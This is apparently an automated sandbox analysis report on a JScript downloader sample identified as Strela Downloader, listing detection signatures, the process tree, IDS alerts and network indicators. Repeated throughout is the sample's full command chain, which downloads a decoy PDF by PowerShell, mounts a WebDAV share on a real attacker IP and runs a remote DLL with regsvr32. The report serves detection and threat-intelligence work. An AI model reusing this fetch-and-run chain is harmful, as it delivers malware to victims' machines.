Edit tour

Windows Analysis Report
1579614525244583223.js

Overview

General Information

Sample name:	1579614525244583223.js
Analysis ID:	1590634
MD5:	04a25091c566e1e45a6e8a850d2cb7a1
SHA1:	e9e16523eda320ec58ad023c20b2b39619fbadbe
SHA256:	b03c63b7d7934cb212a864b4787b1a95c39de9b6cd5c3bc27d511eb3d0a85023
Tags:	jsuser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7600 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7724 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7776 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7952 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8160 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3096 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1692,i,797162410521209075,1160637675029131168,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7984 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8072 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7208 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7600	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", ProcessId: 7600, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8072, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49739

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", ProcessId: 7600, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8072, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7208, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8072, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll, ProcessId: 7724, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T11:54:59.454304+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49722	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T11:55:01.941498+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49739	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T11:54:59.454304+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49722	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1579614525244583223.js	Virustotal: Detection: 13%			Perma Link
Source: 1579614525244583223.js	ReversingLabs: Detection: 13%

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49739 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49722 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 10:54:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49739

Source: global traffic

TCP traffic: 192.168.2.9:49739 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

